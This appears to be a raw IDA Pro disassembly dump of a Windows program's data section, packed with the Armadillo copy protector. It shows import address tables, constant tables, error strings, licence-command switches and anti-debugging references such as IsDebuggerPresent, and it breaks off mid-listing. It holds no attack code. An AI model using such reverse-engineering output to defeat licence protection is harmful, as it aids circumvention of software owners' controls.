sub_4B6F14+184r dword_4ED018 dd 77C729E2h ; DATA XREF: sub_4B6F14+F4r dword_4ED01C dd 77C71BB0h ; DATA XREF: sub_4B6F14+99r ; sub_4B6F14+118r dword_4ED020 dd 77C7212Fh ; DATA XREF: sub_4B6F14+85r dword_4ED024 dd 77C76DB8h ; DATA XREF: sub_4B6828+331r dd 0 dword_4ED02C dd 77E7AC37h ; DATA XREF: sub_4B3AA2+17r ; .text:004B5698r ... dword_4ED030 dd 77E71B14h ; DATA XREF: sub_4B3AFF+199r ; sub_4B3AFF+222r ... dword_4ED034 dd 77E7166Fh ; DATA XREF: sub_4B3AFF+17Cr ; sub_4B3AFF+205r ... dword_4ED038 dd 77E736A3h ; DATA XREF: sub_4B3AFF+16Fr ; sub_4B3AFF+1F8r ... dword_4ED03C dd 77E7751Ah ; DATA XREF: sub_4B3AFF+10r ; sub_4B3AFF+74r ... dword_4ED040 dd 77E79924h ; DATA XREF: sub_4B3E30+2Er ; __tzset_0+ABr ... dword_4ED044 dd 77E7339Ch ; DATA XREF: sub_4B3E30+9r dword_4ED048 dd 77E6C674h ; DATA XREF: sub_4B3E69+92r ; sub_4B3E69+A1r ... dword_4ED04C dd 77E6D36Bh ; DATA XREF: sub_4B3E69+45r ; sub_4B3E69+54r ... dword_4ED050 dd 77E79F93h ; DATA XREF: sub_4B3F59+3Dr ; sub_4B3F59+7Fr ... dword_4ED054 dd 77E73803h ; DATA XREF: sub_4B40C4+44Cr dword_4ED058 dd 77E99F21h ; DATA XREF: sub_4B40C4+1ECr ; sub_4B40C4+203r dword_4ED05C dd 77E6D28Ch ; DATA XREF: sub_4B40C4+13Er ; sub_4B40C4+149r ... dword_4ED060 dd 77E6D4C2h ; DATA XREF: sub_4B40C4+BDr ; sub_4B40C4+D4r dword_4ED064 dd 77EC5E29h ; DATA XREF: sub_4B45FB+1DAr ; .text:004B9C33r dword_4ED068 dd 77E7AC5Eh ; DATA XREF: sub_4B4965+13Fr ; .text:004B590Dr ... dword_4ED06C dd 77E6169Ah ; DATA XREF: .text:004B5239r dword_4ED070 dd 77E7980Ah ; DATA XREF: .text:004B4EDBr ; .text:004B4F7Ar ... dword_4ED074 dd 77E7A5FDh ; DATA XREF: sub_4B5417+D9r ; sub_4B5417+12Fr ... dword_4ED078 dd 77F5157Dh ; DATA XREF: sub_4B5417+78r ; .text:004B5795r ... dword_4ED07C dd 77E805D8h ; DATA XREF: sub_4B5417+5Fr ; .text:004B5B3Ar ... dword_4ED080 dd 77F51587h ; DATA XREF: sub_4B5417+55r dword_4ED084 dd 77E715F7h ; DATA XREF: .text:004B5B28r ; sub_4B78A3+38r dword_4ED088 dd 77E73163h ; DATA XREF: .text:004B5B21r ; sub_4B78A3+31r dword_4ED08C dd 77E61BB8h ; DATA XREF: .text:004B5A6Fr ; .text:004B9987r dword_4ED090 dd 77E7C938h ; DATA XREF: .text:004B5A61r ; .text:004B9979r ... dword_4ED094 dd 77E6177Ah ; DATA XREF: .text:004B59B1r ; .text:004B98C5r ... dword_4ED098 dd 77E6BD68h ; DATA XREF: .text:004B5985r ; .text:004B5F6Cr ... dword_4ED09C dd 77E776A0h ; DATA XREF: .text:004B58B4r dword_4ED0A0 dd 77E79D5Bh ; DATA XREF: .text:004B57B2r dword_4ED0A4 dd 77E7C2C4h ; DATA XREF: .text:004B577Cr ; .text:004B5D35r ... dword_4ED0A8 dd 77E8074Ah ; DATA XREF: .text:004B570Fr ; .text:004B5B11r dword_4ED0AC dd 77E77CC4h ; DATA XREF: sub_4B67B0+4r ; sub_4B6C08:loc_4B6CC2r dword_4ED0B0 dd 77E78B82h ; DATA XREF: .text:004B727Er dword_4ED0B4 dd 77E793EFh ; DATA XREF: .text:004B724Er dword_4ED0B8 dd 77E7A837h ; DATA XREF: .text:004B7235r dword_4ED0BC dd 77E78EAAh ; DATA XREF: sub_4B72D0+53r ; sub_4B735F+53r dword_4ED0C0 dd 77E75D9Eh ; DATA XREF: sub_4B72D0+33r dword_4ED0C4 dd 77E78A39h ; DATA XREF: sub_4B735F+33r dd 77E7F01Ah dword_4ED0CC dd 77E7FF65h ; DATA XREF: sub_4B7C87+Cr dword_4ED0D0 dd 77E61A54h ; DATA XREF: .text:004B7E14r ; .text:004BA4D7r ... dword_4ED0D4 dd 77E75090h ; DATA XREF: .text:004BC125r dword_4ED0D8 dd 77EB3AC1h ; DATA XREF: .text:004BC0B0r ; .text:004BC0D1r dword_4ED0DC dd 77EB9953h ; DATA XREF: .text:004BB5DCr dword_4ED0E0 dd 77E97F16h ; DATA XREF: .text:004B9F66r ; .text:004BB20Ar ... dd 77EB3A07h dword_4ED0E8 dd 77E77963h ; DATA XREF: sub_4B3AA2+24r ; sub_4B6C08+87r ... dword_4ED0EC dd 77EB3709h ; DATA XREF: .text:004B9B6Dr dword_4ED0F0 dd 77E6E154h ; DATA XREF: .text:004B9B5Er ; .text:004BB985r ... dword_4ED0F4 dd 77E61B8Ah ; DATA XREF: .text:004B9A76r dword_4ED0F8 dd 77E7C9DBh ; DATA XREF: .text:004B9A68r dword_4ED0FC dd 77E616E6h ; DATA XREF: .text:004B99B3r dword_4ED100 dd 77E74D76h ; DATA XREF: .text:004B8D5Dr dword_4ED104 dd 77E79CE3h ; DATA XREF: .text:004B8D45r dword_4ED108 dd 77E79C90h ; DATA XREF: .text:loc_4B8D0Dr ; _doexit_0+10r dword_4ED10C dd 77E77797h ; DATA XREF: .text:004B8CF1r dword_4ED110 dd 77E7C4B7h ; DATA XREF: .text:004BC53Cr ; .text:loc_4BC5A0r ... dword_4ED114 dd 77E61A90h ; DATA XREF: .text:004BD96Er ; .text:004BDE9Cr ... dword_4ED118 dd 77E75CB5h ; DATA XREF: sub_4BE283+95r ; _doexit_0+91r ... dword_4ED11C dd 77E70F89h ; DATA XREF: .text:004BE49Er ; _time_0+Dr dword_4ED120 dd 77E762D0h ; DATA XREF: ___crtCompareStringA_0+5Br ; ___crtCompareStringA_0+B9r dword_4ED124 dd 77E73FF9h ; DATA XREF: __commit_0+2Cr dword_4ED128 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA_0+42r ; ___crtLCMapStringA_0+14Dr ... dword_4ED12C dd 77E77405h ; DATA XREF: ___crtLCMapStringA_0+5Er ; ___crtLCMapStringA_0+A7r ... dword_4ED130 dd 77E7FF2Eh ; DATA XREF: __free_osfhnd_0:loc_4CE2DBr dword_4ED134 dd 77E6C703h ; DATA XREF: _getSystemCP_0+1Ar dword_4ED138 dd 77E7A13Fh ; DATA XREF: _getSystemCP_0+2Fr dword_4ED13C dd 77E7849Fh ; DATA XREF: __setmbcp_0+48r ; _setSBUpLow_0+14r ... dword_4ED140 dd 77E77F2Eh ; DATA XREF: ___crtCompareStringA_0+3Er ; ___crtCompareStringA_0+261r dword_4ED144 dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA_0+3Fr ; ___crtGetStringTypeA_0+12Dr ... dword_4ED148 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA_0+59r ; ___crtGetStringTypeA_0+8Dr ... dword_4ED14C dd 77E77CCEh ; DATA XREF: ___crtGetStringTypeA_0+C5r ; ___crtGetStringTypeA_0+11Br ... dword_4ED150 dd 77E78C81h ; DATA XREF: __lseek_0+4Fr dword_4ED154 dd 77F5722Fh ; DATA XREF: ___sbh_alloc_new_region_0+28r ; sub_4CEEC3+110r ... dword_4ED158 dd 77E79D8Ch ; DATA XREF: __NMSG_WRITE_0+14Ar ; __write_0+D8r ... dword_4ED15C dd 77E79E34h ; DATA XREF: sub_4CC125+240r ; sub_4CCBF9+120r ... dword_4ED160 dd 77E7C726h ; DATA XREF: sub_4CBEC9+11r dword_4ED164 dd 77E76E0Bh ; DATA XREF: sub_4CBEC9+50r dword_4ED168 dd 77E78406h ; DATA XREF: __ioinit_0+FFr ; __ioinit_0+166r dword_4ED16C dd 77E79C3Dh ; DATA XREF: __ioinit_0+158r ; __NMSG_WRITE_0+143r dword_4ED170 dd 77E7C931h ; DATA XREF: __ioinit_0+19Dr dword_4ED174 dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA_0+9r dword_4ED178 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA_0:loc_4CBAA6r ; ___crtGetEnvironmentStringsA_0+E1r dword_4ED17C dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA_0+CEr dword_4ED180 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA_0+11Fr dword_4ED184 dd 77EB9A84h ; DATA XREF: __XcptFilter_0+138r dword_4ED188 dd 77F51597h ; DATA XREF: sub_4CA2FB+60r ; sub_4CC125+2C5r ... dword_4ED18C dd 77F516F8h ; DATA XREF: sub_4CA24A+74r ; sub_4CA3A2+6Cr ... dword_4ED190 dd 77E7C486h ; DATA XREF: start+26r dword_4ED194 dd 77E61608h ; DATA XREF: _time_0+17r dword_4ED198 dd 77E76E3Dh ; DATA XREF: _time_0+6Cr __tzset_0+38r dword_4ED19C dd 77F6183Eh ; DATA XREF: sub_4CF210r dword_4ED1A0 dd 77E616B4h ; DATA XREF: _doexit_0+17r dword_4ED1A4 dd 77E61BE6h ; DATA XREF: sub_4B3AA2+43r ; sub_4B3AA2+4Dr ... dword_4ED1A8 dd 77F7E21Fh ; DATA XREF: sub_4B370A+10r ; sub_4B37DC+10r ... dword_4ED1AC dd 77F7E300h ; DATA XREF: sub_4B370A+C6r ; sub_4B37DC+E8r ... dword_4ED1B0 dd 77E7C657h ; DATA XREF: sub_4B36BD+25r ; .text:004B5B92r ... dword_4ED1B4 dd 77E79908h ; DATA XREF: sub_4B3329+4Dr ; .text:004B9C53r dword_4ED1B8 dd 77E80656h ; DATA XREF: sub_4B3329+53r ; .text:004B56E6r ... dword_4ED1BC dd 77E79FC8h ; DATA XREF: sub_4B3329+A0r ; sub_4B3329+130r ... dword_4ED1C0 dd 77E6BE92h ; DATA XREF: sub_4B3329+14Fr dword_4ED1C4 dd 77E7A099h ; DATA XREF: sub_4B3329+21Er ; sub_4B3329+2BAr ... dword_4ED1C8 dd 77E98BD8h ; DATA XREF: .text:004B9B80r ; sub_4BDF17+3Cr dword_4ED1CC dd 77E6C10Bh ; DATA XREF: sub_4B3329+2D9r dd 0 dword_4ED1D4 dd 77D47E92h ; DATA XREF: sub_4BE07A+40r dword_4ED1D8 dd 77D47EC7h ; DATA XREF: sub_4BE034+38r dword_4ED1DC dd 77D5DC39h ; DATA XREF: .text:004B7CD6r ; sub_4B82D2+22r dword_4ED1E0 dd 77D5D390h ; DATA XREF: .text:004B7CEDr ; .text:004B7D41r dword_4ED1E4 dd 77D5C347h ; DATA XREF: .text:004B7CFCr dword_4ED1E8 dd 77D44200h ; DATA XREF: sub_4B78A3+390r dword_4ED1EC dd 77D458EEh ; DATA XREF: sub_4B6F14+78r dword_4ED1F0 dd 77D458FDh ; DATA XREF: sub_4B6F14+130r dword_4ED1F4 dd 77D444FFh ; DATA XREF: sub_4B6F14+1F5r dword_4ED1F8 dd 77D4932Ch ; DATA XREF: sub_4B6C08+1C6r ; sub_4B6F14+1C0r dword_4ED1FC dd 77D477C0h ; DATA XREF: sub_4B6C08+1D0r ; sub_4B6C08+1E9r ... dword_4ED200 dd 77D444F0h ; DATA XREF: sub_4B6C08+2CAr ; sub_4B7150+69r ... dword_4ED204 dd 77D5BB6Ch ; DATA XREF: sub_4B60E5+27r ; sub_4B60E5+41r dword_4ED208 dd 77D48AA8h ; DATA XREF: sub_4B60E5+3Ar dword_4ED20C dd 77D5FA3Eh ; DATA XREF: sub_4B6060+44r dword_4ED210 dd 77D47D27h ; DATA XREF: sub_4B6060+6Er ; sub_4B6C08+29Er dword_4ED214 dd 77D47CB6h ; DATA XREF: sub_4B6060+78r ; sub_4B6C08+2AAr ... dword_4ED218 dd 77D47250h ; DATA XREF: .text:004B56A9r dword_4ED21C dd 77D4718Ch ; DATA XREF: .text:004B56BBr dword_4ED220 dd 77D4BDCAh ; DATA XREF: .text:004B5830r dword_4ED224 dd 77D6E7A8h ; DATA XREF: .text:004B5AAFr ; sub_4B78A3+5Cr ... dword_4ED228 dd 77D49A11h ; DATA XREF: sub_4B45FB+1F6r ; sub_4B45FB+2A5r ... dword_4ED22C dd 77D6ADD7h ; DATA XREF: sub_4B45CC+Er ; .text:004B604Fr ... dword_4ED230 dd 77D4A712h ; DATA XREF: sub_4B40C4:loc_4B4429r dword_4ED234 dd 77D70861h ; DATA XREF: sub_4C85D0r dword_4ED238 dd 77D708BAh ; DATA XREF: sub_4C85CAr dword_4ED23C dd 77D46F5Bh ; DATA XREF: sub_4B40C4+48Cr ; sub_4B6F14+230r ... dword_4ED240 dd 77D47EE5h ; DATA XREF: sub_4B3F59+54r ; sub_4B3F59+FEr ... dword_4ED244 dd 77D4B748h ; DATA XREF: sub_4B3F59+75r dword_4ED248 dd 77D4AE4Ch ; DATA XREF: sub_4B3F59+B1r dword_4ED24C dd 77D4DC11h ; DATA XREF: sub_4B3F59+11Fr ; sub_4B6C08+17Fr ... dword_4ED250 dd 77D414D4h ; DATA XREF: sub_4B3F59+15Br ; sub_4B6C08+28Ar ... dword_4ED254 dd 77D45CBCh ; DATA XREF: sub_4B3E69+Er dword_4ED258 dd 77D45E37h ; DATA XREF: sub_4B3E69+85r ; sub_4B40C4+195r dword_4ED25C dd 77D4702Fh ; DATA XREF: sub_4B3E69+D2r ; sub_4B40C4+2C4r ... dword_4ED260 dd 77D43DD3h ; DATA XREF: sub_4B3AFF+45r ; sub_4B7150+A1r ... dword_4ED264 dd 77D441F2h ; DATA XREF: sub_4B3AFF+4Fr ; sub_4B7150+ABr ... dword_4ED268 dd 77D47627h ; DATA XREF: sub_4B3AFF+A4r dword_4ED26C dd 77D47668h ; DATA XREF: sub_4B3AFF+14Fr dword_4ED270 dd 77D704C7h ; DATA XREF: sub_4C85C4r dword_4ED274 dd 77D44643h ; DATA XREF: sub_4B3AFF+1C3r dword_4ED278 dd 77D442CFh ; DATA XREF: sub_4B3AFF+24Br ; sub_4B3AFF+2DFr ... dword_4ED27C dd 77D45B19h ; DATA XREF: sub_4B3AA2+37r ; sub_4B3AFF+B6r ... dword_4ED280 dd 77D46E60h ; DATA XREF: sub_4B3AFF+37r ; sub_4B7150+8Br align 8 dword_4ED288 dd 0 ; DATA XREF: __cinit_0+1Fo dd offset sub_4965CE dd offset sub_4B3310 dd offset sub_4B73F0 dword_4ED298 dd 0 ; DATA XREF: __cinit_0+1Ao dword_4ED29C dd 0 ; DATA XREF: __cinit_0+10o dd offset ___initstdio_0 dd offset ___initmbctable_0 dword_4ED2A8 dd 0 ; DATA XREF: __cinit_0:loc_4C9213o dword_4ED2AC dd 0 ; DATA XREF: _doexit_0+65o dd offset ___endstdio_0 dword_4ED2B4 dd 0 ; DATA XREF: _doexit_0:loc_4C92B7o dword_4ED2B8 dd 0 ; DATA XREF: _doexit_0+76o dword_4ED2BC dd 0 ; DATA XREF: _doexit_0:loc_4C92C8o dword_4ED2C0 dd 7 ; DATA XREF: sub_490060+Fw ; sub_490060+29w ... a1_1_4 db '1.1.4',0 ; DATA XREF: .text:004902D9o ; sub_49034E+191o align 4 dword_4ED2CC dd 0F7EE0CBAh ; DATA XREF: sub_4965D8+8r ; sub_4965D8+1Er ... dword_4ED2D0 dd 0E607FAD2h ; DATA XREF: sub_4965D8+Er ; sub_4965D8+24r ... dword_4ED2D4 dd 622D2A9Dh ; DATA XREF: sub_4965D8+3Br ; sub_4965D8+2CCr ... dword_4ED2D8 dd 0C2336CAh ; DATA XREF: sub_4965D8+52r ; sub_4965D8+2FAr ... dword_4ED2DC dd 5F8F530Fh ; DATA XREF: sub_4965D8+68r ; sub_4965D8+310r ... dword_4ED2E0 dd 0DC50BDD8h ; DATA XREF: sub_4965D8+7Fr ; sub_4965D8+327r ... dword_4ED2E4 dd 51E30F83h ; DATA XREF: sub_4965D8+96r ; sub_4965D8+33Er ... dword_4ED2E8 dd 2123F0C8h ; DATA XREF: sub_4965D8+ACr ; sub_4965D8+354r ... dword_4ED2EC dd 5D2C389Dh ; DATA XREF: sub_4965D8+C3r ; sub_4965D8+36Br ... dword_4ED2F0 dd 335385D1h ; DATA XREF: sub_4965D8+DAr ; sub_4965D8+382r ... dword_4ED2F4 dd 1497F840h ; DATA XREF: sub_4965D8+F0r ; sub_4965D8+398r ... dword_4ED2F8 dd 0BA0CC46Fh ; DATA XREF: sub_4965D8+107r ; sub_4965D8+3AFr ... dword_4ED2FC dd 44EC619h ; DATA XREF: sub_4965D8+11Er ; sub_4965D8+3C6r ... dword_4ED300 dd 66007212h ; DATA XREF: sub_4965D8+134r ; sub_4965D8+3DCr ... dword_4ED304 dd 8317F29Ah ; DATA XREF: sub_4965D8+14Br ; sub_4965D8+3F3r ... dword_4ED308 dd 4D7A4B25h ; DATA XREF: sub_4965D8+162r ; sub_4965D8+40Ar ... dword_4ED30C dd 0C55F0255h ; DATA XREF: sub_4965D8+178r ; sub_4965D8+420r ... dword_4ED310 dd 6F82BEAFh ; DATA XREF: sub_4965D8+18Fr ; sub_4965D8+437r ... dword_4ED314 dd 1935EA6Eh ; DATA XREF: sub_4965D8+1A6r ; sub_4965D8+44Er ... dword_4ED318 dd 9E0267A3h ; DATA XREF: sub_4965D8+1BCr ; sub_4965D8+464r ... dword_4ED31C dd 0FE7C0E83h ; DATA XREF: sub_4965D8+1D3r ; sub_4965D8+47Br ... dword_4ED320 dd 0E08981C3h ; DATA XREF: sub_4965D8+1EAr ; sub_4965D8+492r ... dword_4ED324 dd 9462B971h ; DATA XREF: sub_4965D8+200r ; sub_4965D8+4A8r ... dword_4ED328 dd 373076C4h ; DATA XREF: sub_4965D8+217r ; sub_4965D8+4BFr ... dword_4ED32C dd 0A1097BF5h ; DATA XREF: sub_4965D8+22Er ; sub_4965D8+4D6r ... dword_4ED330 dd 6DED6A27h ; DATA XREF: sub_4965D8+244r ; sub_4965D8+4ECr ... dword_4ED334 dd 4602C213h ; DATA XREF: sub_4965D8+25Br ; sub_4965D8+503r ... dword_4ED338 dd 705C6118h ; DATA XREF: sub_4965D8+272r ; sub_4965D8+51Ar ... dword_4ED33C dd 4D21B8F3h ; DATA XREF: sub_4965D8+288r ; sub_4965D8+530r ... dword_4ED340 dd 74EC9266h ; DATA XREF: sub_4965D8+29Fr ; sub_4965D8+547r ... aSystem_0 db 'System',0 ; DATA XREF: sub_4B3E69+9Co ; sub_4B40C4:loc_4B4314o align 4 ; wchar_t aSystem aSystem: ; DATA XREF: sub_4B3E69+4Fo ; sub_4B40C4:loc_4B41E5o unicode 0, <System>,0 align 4 aDdeProcessing db 'DDE Processing',0 ; DATA XREF: sub_4B3F59+14Do align 4 aSwpdde_0 db 'SwPDDE',0 ; DATA XREF: sub_4B3F59:loc_4B401Bo align 4 off_4ED374 dd offset dword_440044 ; DATA XREF: sub_4B3F59+A3o aEProcessing: unicode 0, <E Processing>,0 align 4 aSwpdde: ; DATA XREF: sub_4B3F59+18o unicode 0, <SwPDDE>,0 align 4 dword_4ED3A4 dd 3Ch ; DATA XREF: sub_4B45FB+25Er ; WinMain(x,x,x,x)+A5w ... dword_4ED3A8 dd 0CAFF41B7h ; DATA XREF: sub_497D6E+70r ; sub_49B14F+75r ... dword_4ED3AC dd 0C7E94FBEh ; DATA XREF: sub_497D6E+76r ; sub_49B14F+7Br ... dword_4ED3B0 dd 6FEA19C8h ; DATA XREF: sub_495329+95r ; sub_497F97+94r ... dword_4ED3B4 dd 0FDB8715Ch ; DATA XREF: sub_495329+9Br ; sub_497F97+9Ar ... dword_4ED3B8 dd 5AE0C9E3h ; DATA XREF: sub_4955CD+8Er ; sub_495835+B3r ... dword_4ED3BC dd 8B361993h ; DATA XREF: sub_4955CD+94r ; sub_495835+B9r ... dword_4ED3C0 dd 0D54319F3h ; DATA XREF: sub_496381+171r ; sub_497E12+157r ... dword_4ED3C4 dd 0C73CAEF0h ; DATA XREF: sub_4953F2+97r ; sub_495743+BEr ... dword_4ED3C8 dd 0CBD5A1BCh ; DATA XREF: sub_4953F2+9Dr ; sub_495743+C4r ... dword_4ED3CC dd 0CCC1AD82h ; DATA XREF: sub_498DD8+ACr ; sub_49B5EE+7Cr ... dword_4ED3D0 dd 2968373Ah ; DATA XREF: sub_496126+77r ; sub_498DD8+B2r ... dword_4ED3D4 dd 0C32D5ED8h ; DATA XREF: sub_49591C+78r ; sub_495DD2+14Er ... dword_4ED3D8 dd 33BBD77Ah ; DATA XREF: sub_49591C+7Er ; sub_495DD2+154r ... dword_4ED3DC dd 6F6991EAh ; DATA XREF: sub_4959C8+77r ; sub_497C2D+71r ... dword_4ED3E0 dd 51068F84h ; DATA XREF: sub_495547+52r ; sub_4959C8+7Dr ... dword_4ED3E4 dd 0F41B764h ; DATA XREF: sub_495547+58r ; sub_499022+B9r ... dword_4ED3E8 dd 0CBDF3817h ; DATA XREF: sub_495F54+A5r ; sub_49805F+4Er ... dword_4ED3EC dd 473A5B30h ; DATA XREF: sub_495A73+A2r ; sub_495F54+ABr ... dword_4ED3F0 dd 904E0791h ; DATA XREF: sub_4951DA+61r ; sub_495A73+A8r ... dword_4ED3F4 dd 0F066217Fh ; DATA XREF: sub_4951DA+67r ; sub_495BCB+14Er ... dword_4ED3F8 dd 2968373Ah ; DATA XREF: sub_495BCB+154r ; sub_49602D+CBr ... dword_4ED3FC dd 0FF27961Bh ; DATA XREF: sub_497CCC+74r ; sub_49818A+7Cr ... dword_4ED400 dd 621853BCh ; DATA XREF: sub_49526F+86r ; sub_4954BD+56r ... dword_4ED404 dd 621853BCh ; DATA XREF: sub_49526F+8Cr ; sub_4954BD+5Cr ... dword_4ED408 dd 0BB28A579h ; DATA XREF: sub_49568F+80r ; sub_495B49+54r ... dword_4ED40C dd 5B71BA4Dh ; DATA XREF: sub_49568F+86r ; sub_4961D1+A5r ... dword_4ED410 dd 0 ; DATA XREF: sub_4961D1+ABr ; sub_49961E+AFr ... dword_4ED414 dd 0B7A31609h ; DATA XREF: sub_498423+B3r ; sub_49850A+8Ar ... dword_4ED418 dd 0FE009A34h ; DATA XREF: sub_498423+B9r ; sub_49850A+90r ... dword_4ED41C dd 57732361h ; DATA XREF: sub_49512C+7Ar ; sub_4980E0+76r ... dword_4ED420 dd 2A63BFE8h ; DATA XREF: sub_49512C+80r ; sub_4980E0+7Cr ... dword_4ED424 dd 0CE1854Ch ; DATA XREF: .text:004B9126r ; .text:004B9300r ... dword_4ED428 dd 7D2FDA42h ; DATA XREF: .text:004B9132r ; .text:004B96A3r ... dword_4ED42C dd 0C1052568h ; DATA XREF: .text:004BAA7Br dword_4ED430 dd 635471A6h ; DATA XREF: .text:004BAAABr dd 1395EE46h, 0E0298DFCh, 7E8FE86Ah, 0 off_4ED444 dd offset aGeneralExtract ; DATA XREF: sub_4B45B1+8r ; "General extraction error" dd offset aCannotLocatePr ; "Cannot locate protected program data" dd offset aCannotAllocate ; "Cannot allocate memory for DLL" dd offset aCannotFindImpo ; "Cannot find import; DLL may be missing,"... dd offset aCannotSetAlloc ; "Cannot set allocations" dd offset aDllInitializat ; "DLL initialization failed" dd offset aFailedToExec_1 ; "Failed to execute target process" dd offset aRelocationsErr ; "Relocations error" dd offset aFailedCrcCheck ; "Failed CRC check" dd offset aRequiredUsbKey ; "Required USB Key not found" aRequiredUsbKey db 'Required USB Key not found',0 ; DATA XREF: .data:004ED468o align 4 aFailedCrcCheck db 'Failed CRC check',0 ; DATA XREF: .data:004ED464o align 4 aRelocationsErr db 'Relocations error',0 ; DATA XREF: .data:004ED460o align 10h aFailedToExec_1 db 'Failed to execute target process',0 ; DATA XREF: .data:004ED45Co align 4 aDllInitializat db 'DLL initialization failed',0 ; DATA XREF: .data:004ED458o align 10h aCannotSetAlloc db 'Cannot set allocations',0 ; DATA XREF: .data:004ED454o align 4 aCannotFindImpo db 'Cannot find import; DLL may be missing, corrupt, or wrong version' ; DATA XREF: .data:004ED450o db 0 align 4 aCannotAllocate db 'Cannot allocate memory for DLL',0 ; DATA XREF: .data:004ED44Co align 4 aCannotLocatePr db 'Cannot locate protected program data',0 ; DATA XREF: .data:004ED448o align 4 aGeneralExtract db 'General extraction error',0 ; DATA XREF: .data:off_4ED444o align 10h aInsufficientMe db 'Insufficient memory!',0 ; DATA XREF: sub_4B45CC+7o align 4 aSetfunctionadd db 'SetFunctionAddresses',0 ; DATA XREF: sub_4B45FB:loc_4B4718o align 10h ; char aP[] aP: ; DATA XREF: sub_4B45FB+92o unicode 0, <p>,0 ; char aS_8[] aS_8 db 's',0 ; DATA XREF: sub_4B45FB+76o align 4 aPdata000 db 'PDATA000',0 ; DATA XREF: sub_4B48AD+96o align 4 aArmsplashoff db 'ARMSPLASHOFF',0 ; DATA XREF: sub_4B4965+13Ao align 4 ; char aFileSFunctionS[] aFileSFunctionS db 'File "%s", function "%s"',0 ; DATA XREF: sub_4B5417+150o align 10h ; char aFileSOrdinalD[] aFileSOrdinalD db 'File "%s", ordinal %d',0 ; DATA XREF: sub_4B5417+100o align 4 ; char aFileSErrorD[] aFileSErrorD db 'File "%s", error %d',0 ; DATA XREF: sub_4B5417+83o aErrorCodeD db '(Error code %d)',0 ; DATA XREF: .text:004B5D6Co ; char aXDaf[] aXDaf db '%X:DAF',0 ; DATA XREF: .text:004B5D16o ; sub_4B5E8E+47o align 4 aIsdebuggerpres db 'IsDebuggerPresent',0 ; DATA XREF: .text:004B5B4Fo ; sub_4B5E8E+21o align 4 aKernel32_0 db 'Kernel32',0 ; DATA XREF: .text:004B5B35o ; sub_4B5E8E+Do ... align 4 aLocationXebErr db '(Location XEB, error code %d)',0 ; DATA XREF: .text:004B5A8Ao align 4 a_padD db '_PAD%d',0 ; DATA XREF: .text:004B5963o align 4 a_pad64 db '_PAD64',0 ; DATA XREF: .text:004B5908o align 4 aMainclass db 'MainClass',0 ; DATA XREF: .text:004B582Bo align 10h ; char a08x[] a08x db '%08X',0 ; DATA XREF: .text:004B57E9o ; sub_4B6C08+2D6o align 4 aRn08x db 'RN%08X',0 ; DATA XREF: .text:004B575Do align 10h aXDa08x db '%X::DA%08X',0 ; DATA XREF: .text:004B56EDo ; .text:004B5AEFo ... align 4 aRegisterserv_0 db 'RegisterServiceProcess',0 ; DATA XREF: sub_4B5E35+1Co align 4 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_4B5E35+Co align 4 ; char asc_4ED704[] asc_4ED704: ; DATA XREF: .text:004B6016o ; WinMain(x,x,x,x)+35Do dw 0Ah unicode 0, <>,0 aInitializedlla db 'INITIALIZEDLLADDR',0 ; DATA XREF: .text:004B5F67o align 4 off_4ED71C dd offset off_4ED728 ; DATA XREF: sub_4B6138+105r ; sub_4B6138+11Ar dd offset dword_4ED724 dword_4ED724 dd 20h ; DATA XREF: .data:004ED720o off_4ED728 dd offset byte_53004D ; DATA XREF: .data:off_4ED71Co dd offset dword_530020 aAnsSerif: unicode 0, <ans Serif>,0 aLoading___ db 'Loading...',0 ; DATA XREF: sub_4B60E5+6o align 10h ; char aArmdebug[] aArmdebug db 'ARMDEBUG=',0 ; DATA XREF: WinMain(x,x,x,x)+2FCo align 4 aQuietexit db 'QUIETEXIT',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6659o align 4 aHwchangelog db 'HWCHANGELOG',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6638o aShownetusers db 'SHOWNETUSERS',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6617o align 4 aQuietunregiste db 'QUIETUNREGISTER',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B65F3o aUnregister db 'UNREGISTER',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B65CFo align 10h aInfo db 'INFO',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B65ABo align 4 aFixclock db 'FIXCLOCK',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6587o align 4 aTransfer db 'TRANSFER',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6563o align 10h aQuietregister db 'QUIETREGISTER',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B652Eo align 10h aRegister db 'REGISTER',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B64F9o align 4 aDown db 'DOWN',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6468o align 4 asc_4ED7E4: ; DATA XREF: WinMain(x,x,x,x)+C4o unicode 0, <X>,0 ; char aServer[] aServer db 'SERVER',0 ; DATA XREF: WinMain(x,x,x,x)+85o align 10h aDisplay_0 db 'DISPLAY',0 ; DATA XREF: sub_4B6828+2E0o aLoadingwindow db 'LOADINGWINDOW',0 ; DATA XREF: sub_4B6C08+2F1o align 4 aArbaseTestBitm db 'ArBase Test Bitmap Window',0 ; DATA XREF: sub_4B6C08+13o align 4 aArbaseBitmapWi db 'ArBase Bitmap Window',0 ; DATA XREF: sub_4B6C08+9o align 4 dword_4ED83C dd 1 ; DATA XREF: .text:004BB6BEr ; .text:004BB6C7w dword_4ED840 dd 3 ; DATA XREF: .text:loc_4B979Aw ; .text:loc_4B97B6r ... off_4ED844 dd offset sub_4A363D ; DATA XREF: .text:004BB43Er dd offset sub_4A373A dd offset sub_4A3837 dd offset sub_4A3934 dd offset sub_4A3A31 dd offset sub_4A3B2E dd offset sub_4A3C2B dd offset sub_4A3D28 dd offset sub_4A3E25 dd offset sub_4A3F22 dd offset sub_4A401F dd offset sub_4A411C dd offset sub_4A4219 dd offset sub_4A4316 dd offset sub_4A4413 dd offset sub_4A4510 dd offset sub_4A460D dd offset sub_4A470A dd offset sub_4A4807 dd offset sub_4A4904 dd offset sub_4A4A01 dd offset sub_4A4AFE dd offset sub_4A4BF8 dd offset sub_4A4CF5 dd offset sub_4A4DF2 dd offset 